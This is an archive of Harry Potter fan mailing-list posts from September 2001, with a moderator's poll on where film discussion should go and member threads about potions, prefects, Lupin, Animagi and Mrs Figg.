*A copy of this message will be linked from the poll intro.

Here are the four options...

(1) KEEP HP MOVIE DISCUSSION ON THE MAIN LIST

What does this mean?

We would continue to ask for a 'MOVIE:' prefix on the headers of all
movie-related posts and there would be a requirement for spoiler space until
it seemed appropriate to remove it.  It's worth pointing out that, because
release dates are staggered between November 2001 and May 2002 (see list,
here: http://www.hpgalleries.com/moviegallery3.htm), spoiler space would
continue for an extended period.

What is spoiler space?
D
R
A
C
O
I
N
L
E
A
T
H
E
R
With the juicy details placed much further down the page (note: do not use
blanks lines or punctuation symbols, as they may get ignored or truncate
messages)

Pros:
*no further splitting up of the list - all book/movie discussion in one
place
*no additional lists to check

Cons:
*spoiler space to remember and contend with (see intro, above)
*huge increase in message volume, particularly around movie release dates
*influx to a literary discussion list of movie fans who may not have read
the books
*swamping of book-related threads around movie-release times.

(2) PERMANENT HP MOVIE LIST

What does this mean?

We would move all discussions related to the HP movies to a permanent,
separate list that would be complementary to the main book-oriented list.

Pros:
*clear-cut division
*no need for spoiler space (you would only join if you'd seen the film[s])
*reduced volume on the main list
*people could avoid movie discussions (and movie-only fans) easily

Note: *movie/book crossover posts would all go here (pro or con?).

Cons:
*another list to join
*divergence of membership on the two lists
*no more posting about the movie on the book discussion list

(3) TEMPORARY HP MOVIE LIST

What does this mean?

We would set up a list for discussion of the movies instead of introducing
spoiler space.  Rather than maintaining the list all the time, if the
message volume dropped (i.e. between films), discussion would return to the
main list with the 'MOVIE:' prefixes.

Pros:
*allows main list to maintain some continuity between book and movie
discussions
*reduced message volume on the main list only when needed
*people could avoid movie discussions more easily during the active periods.

Note: ultimately, this may end up being a permanent list.

Cons:
*rather vague (or flexible, from another viewpoint)
*a decision would be required about moves back and forth
*there would be some splitting of movie posts between two lists

(4) ALL HP MOVIE POSTS GO TO OT CHATTER

What does this mean?

We would move all movie discussion to our existing OT Chatter list and apply
the same rules that would apply on the main list (i.e. spoiler space for an
extended period).

Pros:
*movie, merchandise and casting chitchat would be on the same list as more
serious discussion
*no need to join another list (assuming members have joined OT Chatter)

Cons:
*it wouldn't have the same feel as the OT Chatter list we have now
*OT topics would be invaded by movie-specific discussion
*some of the same 'cons' as listed for the option (1)
*there would be posting rules on a list that is currently kept fairly free
of ADMIN

Thanks
__________

Neil/Flying Ford Anglia
for the Moderator Team




From absinthe at mad.scientist.com  Sat Sep 22 03:56:42 2001
From: absinthe at mad.scientist.com (Milz)
Date: Sat, 22 Sep 2001 03:56:42 -0000
Subject: Fl;avorings (Re: Handy Real-Life Example and some on Potions, Yuck)
In-Reply-To: <3BABBB3B.A3FE5C71@texas.net>
Message-ID: <9oh25q+8snf@eGroups.com>

No: HPFGUIDX 26453

--- In HPforGrownups at y..., Amanda Lewanski <editor at t...> wrote:
> And *just* to keep it on-topic, how do you know that the potions
> ingredients taste awful? Other than the Effective Medicine Must 
Taste
> Revolting metalaw? I mean, I understand that roasted caterpillars 
are
> succulent, my own (god help me) father once brought us chocolate 
covered
> ants and bees which were (according to braver souls than I) quite 
tasty,
> and if I did not know it was a bona fide dish, if the books 
mentioned
> birds' nest soup I'd think they'd made it up. The potions might 
taste
> just great. They just *sound* revolting.

IIRc, Lupin says the Wolfsbane potion tastes awful, but it's rendered 
useless if any type of flavoring is added to it. Most likely, some of 
these potions are flavored.

And since these are potions, I don't think bits and chunks of the 
potion materials are imbibed. Just it being a potion, indicates to me 
that it's a liquid....uh-oh, really gross thought here along the 
lines of a thin puree...Ahem, anyway, they're probably like most 
liquid medicines: flavored with maybe an after-taste.

One elderly physician I knew when I was in high school actually 
learned how to write prescriptions the old way. That is, giving the 
ingredients to certain medicines for the pharmacist to mix up. I 
remember him saying something about the various flavorings 
like "spirits of peppermint" ('spirits' indicating an alcohol based 
product, not the ghostly kind). I imagine Potions class is similar to 
this elderly doc's pharmacology class where he was taught the 
ingredients of various medical 'potions'.

BTW, some of the herbs Rowling mentions are bona fide herbs with 
medicinal/toxic qualities, like dittany and wolfsbane.

Milz

 




From catlady at wicca.net  Sat Sep 22 04:06:00 2001
From: catlady at wicca.net (Rita Winston)
Date: Fri, 21 Sep 2001 21:06:00 -0700
Subject: Wizard's Work - Yucky Potions - Ghosts/Lupin - Hagrid/Snape - Hog Warts 
 - Polls/OTCha
Message-ID: <3BAC0E28.B1CF270@wicca.net>

No: HPFGUIDX 26454

I sent this message six hours ago: at four hours and at six hours I got
notices that it had not been delivered yet. So I'm sending it again. 

J. Franklin (J. F. Ranklin?) wrote:

> So what do graduates put on their resumes
> under education when applying for jobs in 
> the Muggle world?  It seems that this would
> be particularly difficult for children from 
> Muggle families.  

They lie. I am sure that wizardry makes forgery EASY, not only creating
documents that Muggles CANNOT identify as fake, but placing created
documents in government files and placing created data in government
computer files, and removing documents/data as needed. Someone, I think
on this list, once suggested that creating new Muggle identities for
wizarding folk done by a department in MoM, and came up with clever
names for the specialists in doing this kind of magic. It COULD be hard
enough magic to be done only by specialists, without the specialists
being part of MoM: they could be in private practice.

> A similar problem is what do they tell
> nonmagical relatives about where their
> children go to school? 

They lie. Usually not claiming that their child goes to St. Brutus's
School for Criminally Insane Boys, but rather claiming that their child
goes to an experimental school for especially talented children. And I
like to think that the government (truant officers, National Health,
Department of Child Protection, etc) doesn't even know that the child
exists during the school year (see above about forgery and reverse
forgery, and remember Memory Charms), but during the summer, they not
only know about the child, but don't know that they didn't know during
the school year.

Catherine in California/medieval Albion wrote: 

> Somehow I can't imagine my old turf of
> programmer would be needed since they
> don't seem to have any kind of computers 

I'm a COBOL pgmmer. It seems to me that applications pgmming is kind of
like modifying spells and systems pgmming is kind of like inventing new
spells. Charms, I think, would be the kind of spell that is most verbal
and logical, therefore most resembling computer pgmming, and that
Potions is the most physical, therefore least like computer pgmming. 

I wonder if witch-I would work in a hidden cubicle Charming ledger
volumes to produce Inventory Analysis reports from the material in and
material out entries written in it by the stock clerks? I think Lexicon
Steve's theory of magic working by intention would require only showing
the bespelled volume a mock-up of what the report should look like, but
maybe the spellcaster has to specify that quantities out must be
multiplied by negative one before being added to
running-on-hand-quantity...

Mindy wrote:

> I am quite repulsed by the list of ingredients
> that go into the various potions Snape brews
> with his students. Are these things actually
> DRUNK by the students or are they applied
> topically to surfaces of whatever needs to
> be affected?

JKR put in the disgusting ingredients because it is traditional in
literature that potions have disgusting ingredients, like Shakespeare's
witches in MACBETH: "eye of newt and toe of frog, liver of a spotted
dog". Some modern people who believe that the literary tradition of
magic is based on something real say that the disgusting ingredients
were really 'code names' for more reasonable ingredients, like "toe of
frog" being the code name for a particular herb.

Another explanation has to do with the placebo effect. Supposedly
experiments have found that bitter tasting placebos (that are oral
liquids) have stronger effects than sweet tasting placebos, and that
placebo injections have stronger effects than placebo oral medications. 

In JKR's universe, the disgusting ingredients are really there and magic
works by more than the placebo effect, but perhaps part of the way that
magic works is that there is a cost and perhaps part of the way that the
cost for potions is paid is by having to work with and consume and taste
the disgusting ingredients.

Cindy wrote:

> As a group, I don't find the ghosts to
> be very interesting characters.  (snip)
> the Bloody Baron (who IS he, anyway?) (snip)
> I worry, though,  because I don't see how
> [Lupin] can be happy.  Maybe he was emotionally
> OK before teaching at Hogwarts, but the
> circumstances under which he lost his job
> would really depress anyone. 

I put a Bloody Baron backstory into one of my fanfics, altho' it didn't
say why Peeves is scared of him. I haven't figured out yet why Peeves is
scared of him -- that is one of the Mysteries of Hogwarts.

I don't see how Remus could have been happy before PoA -- all his
friends gone in one swoop, and one of his loved and trusted friends had
been the traitor who killed the others. He must be happier after PoA,
since he has one of his friends back, no longer a traitor. I hope they
can spend some time together.

Remus surely has lost jobs and housing before when people discovered his
secret. He's probably used to it. This time, he has the consolation of
knowing that the non-Slytherin students appreciated him, that Snape was
being the same old Snape enemy from school days, and that Dumbledore
begged him to stay on.  

Barb wrote:

> The questions to ask about September 1, 1993 are: 
3) And, for those whose PoA books are at hand 
> (snip) was Lupin at the welcoming feast that evening

He was at the Welcoming Feast:
"On a happier note," [Dumbledore]  continued, I am pleased to welcome
two new teachers to our ranks this year. "First, Professor Lupin, who
has kindly consented to fill the post of Defense Against the Dark Arts
teacher." There was some scattered, rather unenthusiastic applause. Only
those who had been in the compartment on the train with Professor Lupin
clapped hard, Harry among them. Professor Lupin looked particularly
shabby next to all the other teachers in their best robes."

The Wolfie Twins took the liberty of moving that Full Moon from
September 1 to August 31, so that Lupin was riding and sleeping on
Hogwarts Express because he was too exhausted to Apparate -- remember in
PoA, he was out 'sick' from class on Friday, then on Saturday the
Dementors disrupted the Quidditch game, then on Monday: "Professor Lupin
was back at work. It certainly looked as though he had been ill." He's
still wiped out from the transformation after TWO days, surely he would
be in terrible shape the very next day.

Which reminds me, FANTASTIC BEASTS not only does not tell how to
distinguish the werewolf from the true wolf, as promised in the scene in
PoA where Snape subs DADA, 

and neither confirms nor denies the Muggle notion that werewolves are
killed by silver weapons or injured by any contact with silver (even
when in human form), 

and doesn't tell us whether his bite transmits the contagion when he is
in human form,

FB also does not answer our questions about when the werewolf is
transformed: only at night? Only one night? From moonrise to moonset of
the Full Moon regardless of day or night? A 24 hour period that is 12
hours on either side of the instant of Full Moon and includes both day
and night? Or only the night time(s) of that 24 hour period, which could
be TWO transformations, one for the later part of one night and the
first part of the next night. 


---  Kelly Hurt <klhurt at y...> wrote:
> --- "Mindy, a.k.a. CLH" <mindyatime at j...> wrote:
> >...will be unraveled by some very shocking
> > revelation about both Hagrid and Snape
> > which will send us all reeling.
> Ah.  Sounds like someone else noticed
> that Hagrid and Snape have identical eyes,
> except, of course, for the emotions in them. 

IIRC, the photo of Hagrid's late father in GoF had the same sparkling
beetle-black eyes as Hagrid. I don't think they COULD have the same
father, as Hagrid's father died when he was 12, circa 1941, and Snape
wasn't born until 1957 to 1960.

---  foxmoth at q... wrote:
> ---  bobbins29 at h... wrote:
> > the main word i dislike, though, is "hogwarts".  it's just... 
> > unpleasant.
> It's a pun on warthog.

One of my pen pals told me on September 6 that the name Hogwarts first
appeared in "DOWN WITH SKOOL" by Ronald Searles and someone. I looked up
DOWN WITH SKOOL on amazon.com and there was no copy available, even
used, but it did tell me it was published in... damn, I can't
remember... 1951 or 1954.

I have a long and complicated theory that the mountain behind Hogwarts
is Mt. Hog aka Hogmount, and the lake is Hogmere and the Forbidden
Forest is Hogwood, and the flat area down by the lake, where the school
is built, was originally Hogmead (meadow) while the somewhat upslope
area where the village was eventually built to support the school, was
originally Hogwald. The mountain's name Hog either means 'Holy' or is
named after the Caledonian (not Calydonian) Boar.

The Four Founders, who were not familiar with the area, got confused
which was Hogmead and which was Hogwald and Godric said to name it
Hogwald School. Salazar threw a fit that Godric just wanted the name to
contain his and Helga's initials (in this theory, Godric and Helga were
married) and leave out him and Rowena. 
Salazar: "Call it Sorwald." 
Godric: "Now look who wants to leave people out. Hypocrite."
Rowena: "Okay, call it Sorfrat for sisters and brothers." 
After a certain amount of shouting by Salazar, Godric, and Rowena, Helga
proposed a compromise: Include all the initials, call it HoGwaRTS.

The T is for Tavish Tartanwool who was familiar with Hogmount and
environs and had told the Four about this suitable location for them. I
have a theory that he was the Fifth Founder but he was murdered by
Salazar and the Four covered this up, concealed all evidence of his
existence, because they still wanted Salazar's co-operation. 

Cassie wrote:

> NB: I think we need to keep a certain measure
> of restraint on our personal feelings. I know
> that I've been on the list a pretty long time,
> and therefore whenever I see yet another "How
> many students are there at Hogwarts?" post, I
> want to throw my computer through the window
> and cut my wrists on the shards. But it is on
> topic, and it is *my* problem that I'm not
> interested, not the list's. So I switch to
> webview and keep my mouth shut so as to not
> ruin other people's fun. Perhaps this post
> seems pointless, but when people start snarling
> and spitting at the mods and sneering at people's
> enjoyment of off-topic lists, it all becomes a
> bit depressing.

Hear, hear! I just went and answered the polls to show my support for
the Magical Mod Squad, altho' I don't like the limited range of options
available. For example, there are a LOT of different sorts of anarchist.
I am a liberal and people from many other 'progressive' ideologies often
mock that liberals aren't even leftist at all, and then there are types
of radical leftist who mock at anyone who would call themselves
'progressive'.
                  
Southern Californian, born November 7 1957, female heterosexual slash
fan, liberal, Wiccan/Pagan religion, raised Unitarian Universalist,
mother was raised Reform Jewish, mother's grandfather was an Orthodox
Rabbi. White, but I refuse to have anything to do with the Caucasus
Mountains. My favorite character is Lupin, my favorite book is of course
PoA, and the character I most resemble is either Moaning Myrtle or old
Mrs. Figg. 

------------------------------------------------------------------
  Pepperwood, thunderbird down, seven inches. Ravenclaw 1976
------------------------------------------------------------------


          /\ /\                                          ___  ___
           + +     Mews and views                       ( @ \/ @ ) 
         >> = <<         from Rita Prince Winston        \ @  @ / 
                                                          \ () /  
                     ("`-''-/").___..--''"`-._             \  / 
                     `6_ 6  )   `-.  (     ).`-.__.`)       \/ 
                     (_Y_.)'  ._   )  `._ `. ``-..-'
                    _..`--'_..-_/ /--'_.' ,'
                   ((('   (((-(((''  ((((



From lotusmoondragon at aol.com  Sat Sep 22 05:12:20 2001
From: lotusmoondragon at aol.com (lotusmoondragon at aol.com)
Date: Sat, 22 Sep 2001 01:12:20 EDT
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
Message-ID: <10.12d92db1.28dd77b4@aol.com>

No: HPFGUIDX 26456

In a message dated 9/21/2001 9:18:48 PM Eastern Daylight Time, 
meboriqua at aol.com writes:


> --jenny from ravenclaw, who really would rather talk about Harry but 
> alas, everyone else seems to want to talk about Snape 

Thanks Jenny.  :-) I think I'll join the chatter list, and maybe we can have 
a pro-Harry coup.  :-)

Love,
Lotus


[Non-text portions of this message have been removed]




From neilward at dircon.co.uk  Sat Sep 22 05:25:44 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 22 Sep 2001 06:25:44 +0100
Subject: ADMIN:  Re: ADMIN: Privacy issues
References: <9ogghg+gm7h@eGroups.com>
Message-ID: <000e01c14327$297985a0$493570c2@c5s910j>

No: HPFGUIDX 26457

Cindy said, about recent discussions:

<< Aw, well, this surely has gotten out of hand, no?  Laura says the OoP
derby brought in 20 responses, but I count over 40 responses that amount to
hand-to-hand combat over the "diversity" polling.  Go figure.  :)  Perhaps
we'll all take a deep breath over the weekend and get back on topic. >>

Indeed!!  I'm glad to see a range of opinions on the polls 'issue'.
Ironically, some of those comments gave us a far more revealing profile of
the posters concerned than we would have learned from an anonymous poll.

About 70 messages ago I posted the following:

"One final thing: If you have any further comments on polls, or any general
concerns, please send them to hpforgrownups-owner at yahoogroups.com rather
than posting comments on the main list."

This was an ADMIN request, but it looks like it needs repeating.  Any
further onlist discussion of this, and we'll be getting out that box of
Howlers in the corner of the office.

On the OotP derby, I thank Laura for taking a very sensible approach to
this, while some of you were ranting about the rights and wrongs of OT
Chatter.

Neil
_____________________
Flying Ford Anglia
Mechanimagus Moderator








From keegan at mcn.org  Sat Sep 22 05:29:52 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Fri, 21 Sep 2001 22:29:52 -0700
Subject: your job = what in HP land?
In-Reply-To: <3BAC0E28.B1CF270@wicca.net>
Message-ID: <4.2.0.58.20010921221758.009e3100@mail.mcn.org>

No: HPFGUIDX 26458

At 09:06 PM 9/21/01 -0700, catlady/Rita wrote:
>Catherine in California/medieval Albion wrote:
> > Somehow I can't imagine my old turf of > programmer would be needed 
> since they
> > don't seem to have any kind of computers
>
>I'm a COBOL pgmmer. It seems to me that applications pgmming is kind of
>like modifying spells and systems pgmming is kind of like inventing new
>spells.

LOL!  I was one, too, for about a decade but then I got into MVS systems 
work (and a brief sojourn into DB/2) but now I'm a craftsman and I get to 
actually touch my work instead of "if you didn't know I was there, it 
worked like a champ".

I dunno.  I think applications work is more like MoM work but I'd be happy 
to be convinced otherwise  I think systems work is more like building and 
maintaining a network of spells and charms, etc...  But they both require 
some kind of JCL/DCL/whatever to make them go.  Hmm, maybe there's a group 
of wizards who make sure spells continue to work over time.  I think I'm 
going to sit down now and enjoy the image of a cube farm in the wizard 
world.  I wonder what Dilbert would do in the wizarding world?

I'd like to hear what other folks think their jobs would equate, too, or is 
that something else that needs to go onto the OT list?

Catherine in California



From lake4fam at earthlink.net  Sat Sep 22 08:01:08 2001
From: lake4fam at earthlink.net (lake4fam at earthlink.net)
Date: Sat, 22 Sep 2001 08:01:08 -0000
Subject: Muggle Jobs Congruent to WizWorld Jobs; education
Message-ID: <9ohgg4+bk29@eGroups.com>

No: HPFGUIDX 26459

My job does translate, directly.  I am Filch, compleat with cat, 
minus the bad temper:  custodienne at Petaluma High School, Petaluma, 
California.
That having been said, I have wondered how Wizarding children learn 
to read, to write, to do the background math that would be the pre-
requisite for Arithmancy and Astronomy, and probably useful in 
Potions.  Muggle History would come through with the History of 
witchcraft, as the two do interact to a certain extent.  In the 
sciences, botany and biology are taught, by Prof. Sprout and Hagrid; 
physics is totally irrelevant, but geography is as important to 
Wizards as to Muggles (!).  Any thoughts, anyone?




From macloudt at yahoo.co.uk  Sat Sep 22 13:39:45 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Sat, 22 Sep 2001 13:39:45 -0000
Subject: How did Snape Get away with it?
In-Reply-To: <9od609+mq6a@eGroups.com>
Message-ID: <9oi4b1+ja5f@eGroups.com>

No: HPFGUIDX 26460

> Frankly, I would love to see Neville's formidable Gran have it out 
> with Snape. I bet she'd give him a good what for.

Hey, good point.  We hear a lot about Gran, but never have any direct 
contact with her.  If she is a powerful witch, then perhaps we will 
get to know her better in Oop.  She's certainly someone I'd like to 
meet...from a safe distance anyway!

Mary Ann
(busily catching up after several days away from the group)




From rowena_grunnion_ffitch at yahoo.com  Sat Sep 22 14:08:22 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 07:08:22 -0700 (PDT)
Subject: [HPforGrownups] Re: Peter Pettigrew's brain as Scabbers
In-Reply-To: <9ogeao+oh5p@eGroups.com>
Message-ID: <20010922140822.22470.qmail@web20806.mail.yahoo.com>

No: HPFGUIDX 26461


--- Caius Marcius <coriolan at worldnet.att.net> wrote:

> I made a similar error earlier - it was pointed out
> to me that Mr. 
> Whisp is differentiating between two different
> groups - Animagi, who 
> can transform at will into animals, and those "find
> [themselves]
> transfigured," like Draco when he found himself
> turned to a ferret. 
> The former group would retain their cognitive
> abilities (so Rita 
> Skeeter could remember all that she said and heard
> as a beetle), 
> while the latter would not (so Draco would have at
> best a cloudy 
> recollection of his time as a ferret)

   Aha! So that's it. I wondered what made the animagi
spell different from ordinary transfiguration.
Obviously the tricky part that requires such careful
study and preperation is arranging to keep one's human
cognition even if animal form. 
   Am I correct in  thinking an animagus; animal form
is not a matter of choice but a involuntary reflection
of their personality?


__________________________________________________
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From rowena_grunnion_ffitch at yahoo.com  Sat Sep 22 14:24:15 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 07:24:15 -0700 (PDT)
Subject: Question From A befuddled American
In-Reply-To: <20010922140822.22470.qmail@web20806.mail.yahoo.com>
Message-ID: <20010922142415.36414.qmail@web20805.mail.yahoo.com>

No: HPFGUIDX 26462

   I think I've got a handle on what prefects are,
(upperclassmen) and what they do, (nag other students)
but how many of them are there? Just one per House or
seven, one for each year? Are they all as annoying as Percy?

__________________________________________________
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Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com



From margdean at erols.com  Sat Sep 22 14:00:49 2001
From: margdean at erols.com (Margaret Dean)
Date: Sat, 22 Sep 2001 10:00:49 -0400
Subject: [HPforGrownups] Re: How did Snape Get away with it?
References: <9oi4b1+ja5f@eGroups.com>
Message-ID: <3BAC9991.8E4B8287@erols.com>

No: HPFGUIDX 26463

macloudt at yahoo.co.uk wrote:
> 
> > Frankly, I would love to see Neville's formidable Gran have it out
> > with Snape. I bet she'd give him a good what for.
> 
> Hey, good point.  We hear a lot about Gran, but never have any direct
> contact with her.  If she is a powerful witch, then perhaps we will
> get to know her better in Oop.  She's certainly someone I'd like to
> meet...from a safe distance anyway!

Heh.  Maybe =she'll= be the new DADA teacher.  Character Angst
for Neville and Snape both . . .  >:)


--Margaret Dean
  <margdean at erols.com>



From k_wayment at hotmail.com  Sat Sep 22 14:55:21 2001
From: k_wayment at hotmail.com (Kyli Wayment)
Date: Sat, 22 Sep 2001 14:55:21 
Subject: [HPforGrownups]Re: Question From A befuddled American
Message-ID: <F242uamuAGHeDcoAwmd000041fb@hotmail.com>

No: HPFGUIDX 26464



>I think I've got a handle on what prefects are,
>(upperclassmen) and what they do, (nag other students)
>but how many of them are there? Just one per House or
>seven, one for each year? Are they all as annoying as Percy?


I'm the same: Befuddled American, but I have an idea, although it may not be 
correct.
  I figured that prefects are one boy and one girl from fifth and sixth year 
from each house. There are no seventh year prefects because there is the 
Head Boy and Girl.
  I remember in SS/PS that Percy was in his fifth year and Ron said that 
Percy got new robes and an owl because he became a prefect.
  I think that if the prefect age was younger, we would have seen someone 
(Hermione) a prefect already. So I stand by that it's fifth sixth year.
~Kyli

_________________________________________________________________
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From vheggie at yahoo.com  Sat Sep 22 15:19:28 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Sat, 22 Sep 2001 15:19:28 -0000
Subject: Mrs Figg, and her broken leg....
Message-ID: <9oia60+9kah@eGroups.com>

No: HPFGUIDX 26465

Having spent my Saturday lunchtime listening to PS/SS on audio tape, 
I've a few questions/suggestions about the mysterious Arabella Figg.

Early on in PS/SS, she breaks her leg, supposedly from tripping over 
one of her cats.  As a consequence of this, Harry gets to go to 
London Zoo, and have his first conversation in Parseltoungue.
Several weeks later she's still on crutches, since Dudley nearly runs 
her over with the racing bike he gets for his birthday.
Why did she not mend it/have it mended with magic?

I've several ideas, some more likely than others....
1)It wasn't really a broken leg, but something far more serious

2)She is actually a squib/muggle, but with sympathies for the 
wizarding world & therefore couldn't repair it herself.

3)She is actually a witch, but, as part of her disguise in the muggle 
world, cannot use any magic, or have contact with the magic world 
(perhaps part of the protection around Harry?)

4)She is a witch, but in order to 'blend in' she's making a real 
effort not to use magic or appear different, so she's using crutches 
for the sake of appearances.

5)She is a witch, and it was necessary to pretend to have a broken 
leg, so Harry could go to the Zoo (did Dumbledore have suspicion 
about Harry's 'language skills'?) - the crutches were just 'for 
appearances sake', as above.

Personally I like option 3 best...any thoughts?




From rowena_grunnion_ffitch at yahoo.com  Sat Sep 22 15:34:26 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 08:34:26 -0700 (PDT)
Subject: [HPforGrownups]Re: Question From A befuddled American
In-Reply-To: <F242uamuAGHeDcoAwmd000041fb@hotmail.com>
Message-ID: <20010922153426.352.qmail@web20802.mail.yahoo.com>

No: HPFGUIDX 26466


--- Kyli Wayment <k_wayment at hotmail.com> wrote:
 
> I'm the same: Befuddled American, but I have an
> idea, although it may not be 
> correct.
>   I figured that prefects are one boy and one girl
> from fifth and sixth year 
> from each house. There are no seventh year prefects
> because there is the 
> Head Boy and Girl.

   So basically you're saying there are two prefects
per house, both fifth or sixth year students, right? 
  



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From neilward at dircon.co.uk  Sat Sep 22 15:38:15 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 22 Sep 2001 16:38:15 +0100
Subject: Prefects/Forms? (was Re: Question From A befuddled American)
References: <F242uamuAGHeDcoAwmd000041fb@hotmail.com>
Message-ID: <007b01c1437c$992c2f60$093770c2@c5s910j>

No: HPFGUIDX 26467

Kyli said:

<<I'm the same: Befuddled American, but I have an idea, although it may not
be
correct.   I figured that prefects are one boy and one girl from fifth and
sixth year from each house. There are no seventh year prefects because there
is the Head Boy and Girl.  I remember in SS/PS that Percy was in his fifth
year and Ron said that Percy got new robes and an owl because he became a
prefect. I think that if the prefect age was younger, we would have seen
someone (Hermione) a prefect already. So I stand by that it's fifth sixth
year.>>

Welcome befuddled Americans!

Based on the evidence from the books I think Kyli is right, although the
Head Boy and Girl would also be prefects, just prefects with a repesentative
role.

I find it odd that there are so few prefects, since in most secondary
schools (including boarding schools), many, if not all, the older students
would take on prefect duties.  What JKR seems to be describing sound more
like House Representatives.

For information, secondary schools in Britain are equivalent in age to
Hogwarts' intake, with seven years for students from the 11/12 to 17/18 age
range.  Sixth and seventh year students are usually known collectively as
'The Sixth Form', split into the Lower Sixth and Upper Sixth.  Prefects are
drawn from sixth formers (possibly the fifth formers, but less likely, I
think).

On a related topic, there is another concept I haven't seen in the HP books;
that of forms and form captains.  In addition to having houses, most British
schools split each year into forms (usually three or four per year) each of
which would include students from each of the school houses.  Instead of
having a house common room as the shared base, students have a form room,
with a form teacher who takes the register each morning and acts as a
'parental' figure.  The students elect a form captain to represent them.

That's just from my experience, but it occurred to me recently that the
focus we see at Hogwarts, on smaller groups of students from each House, may
have something to do with the streaming of students, and that we're only
seeing one stream in the action.  I admit that there's no real evidence for
that (before all you L.O.O.N.s attack me), but it's a way of coping with
JKR's puzzling 1,000 figure without having to bend the laws of physics.

Neil
_____________________
Flying Ford Anglia






From vheggie at yahoo.com  Sat Sep 22 15:41:59 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Sat, 22 Sep 2001 15:41:59 -0000
Subject: Peter Pettigrew's brain as Scabbers
In-Reply-To: <20010922140822.22470.qmail@web20806.mail.yahoo.com>
Message-ID: <9oibg7+osrr@eGroups.com>

No: HPFGUIDX 26468

[some snipping]
>    Aha! So that's it. I wondered what made the animagi
> spell different from ordinary transfiguration.
> Obviously the tricky part that requires such careful
> study and preperation is arranging to keep one's human
> cognition even if animal form. 
[some more snipping]

I remember having a story book when I was little, called 'whatif' 
which was full of strange questions, one of which was (paraphrased)
"What if I found a magic book and it really worked, and a read out a 
spell to turn me into a cat, and I turned into a cat, and I spent the 
day as a cat having fun, and then when I went abck to the book to 
turn myself back I REALISED I COULDN'T READ"

Could this mean there may be unsucessful animagi running around?  Or 
in St Mungo's?  The consequences of attempting animagi magic without 
being fully prepared could be awful...




From pennylin at swbell.net  Sat Sep 22 15:46:32 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Sat, 22 Sep 2001 10:46:32 -0500
Subject: Prefects
References: <20010922142415.36414.qmail@web20805.mail.yahoo.com>
Message-ID: <3BACB258.3030307@swbell.net>

No: HPFGUIDX 26469

Hi

Rowena Grunnion-Ffitch wrote:

>    I think I've got a handle on what prefects are,
> (upperclassmen) and what they do, (nag other students)
> but how many of them are there? Just one per House or
> seven, one for each year? Are they all as annoying as Percy?

Hey!  Some of us think Percy is endearing, not annoying!  :--)

Anyway, back to your prefects question, you might want to take a look at 
the Hogwarts FAQ (there's a section on Prefects roughly 2/3 of the way 
through the essay):

http://www.i2k.com/~svderark/lexicon/faqs/hogwarts.html

My own belief is that there are 2 prefects per House for each of the 
years 5-7, with 2 of the 7th year prefects being chosen as Head Boy & 
Head Girl.  That works out to be 24 in all and makes the prefects having 
2 compartments to themselves on the Hogwarts Express more plausible 
(than if there were say only 2 per year for a total of 6).

Penny





From rowena_grunnion_ffitch at yahoo.com  Sat Sep 22 15:47:12 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 08:47:12 -0700 (PDT)
Subject: Lupin and the Ladies
In-Reply-To: <F242uamuAGHeDcoAwmd000041fb@hotmail.com>
Message-ID: <20010922154712.46924.qmail@web20808.mail.yahoo.com>

No: HPFGUIDX 26470

   I get the impression a number of the ladies onlist
find Professor Lupin decidedly attractive, (there is
something about a man who's suffered...) do you
suppose his female colleagues reacted the same way?
  Sybill Trelawny *did* offer to crystal gaze for him
after all..... 

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From pennylin at swbell.net  Sat Sep 22 15:52:59 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Sat, 22 Sep 2001 10:52:59 -0500
Subject: MOVIE: What Kloves wanted to do
Message-ID: <3BACB3DB.4000305@swbell.net>

No: HPFGUIDX 26471

Hi again --

Luke asked:

 > If it is somehow related to FITD though, then how come he  says it
 > had to do with references to a particular character (almost as  if
 > that character does not otherwise appear in Book 1, maybe)?  I'm  asking
 >  this for real; I honestly have *no* idea what it's about.

Well, here's the paragraph in question from the interview.  I think it's
subject to more than one interpretation, so who knows which one is right.

 > In fact, I anticipated a few things and that was a lot of fun
 > because I anticipated something, I wrote it into the script, and
 > she really reacted strongly. She was like, "Ah! You sense something
 >  that's going on." I also missed something. I put something in, I
 > made reference to someone, and she said, "That's great, but you
 > can't do that because something's going to happen in Book 5 that
 > makes that impossible to happen." Little things like that.

I think I was referring to FITD maybe being the thing that he senses is 
"going on."  I think the part about the reference to someone being taken 
out because of something in Book 5 is separate & apart from the 
something "going on."  In other words, I think he's said 3 things in the 
above paragraph:

1.  He sensed something "going on," and she reacted strongly to what 
he'd done.
2.  He missed something.
3.  He put in a reference to someone, which had to be removed because of 
something in Book 5.

Does that make sense?

Penny







From rowena_grunnion_ffitch at yahoo.com  Sat Sep 22 15:57:46 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 08:57:46 -0700 (PDT)
Subject: [HPforGrownups] RE: Prefects
In-Reply-To: <3BACB258.3030307@swbell.net>
Message-ID: <20010922155746.13215.qmail@web20810.mail.yahoo.com>

No: HPFGUIDX 26472


--- Penny & Bryce <pennylin at swbell.net> wrote:

> My own belief is that there are 2 prefects per House
> for each of the 
> years 5-7, with 2 of the 7th year prefects being
> chosen as Head Boy & 
> Head Girl.  That works out to be 24 in all and makes
> the prefects having 
> 2 compartments to themselves on the Hogwarts Express
> more plausible 
> (than if there were say only 2 per year for a total
> of 6).

   But if there are as many prefects as will fit into
two train compartments wouldn't that would make
twelve? (assuming six is the maximum a compartment can
hold comfortably) which would make three prefects per
House, perhaps in charge of the first, second and
third years. 

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From rowena_grunnion_ffitch at yahoo.com  Sat Sep 22 16:13:54 2001
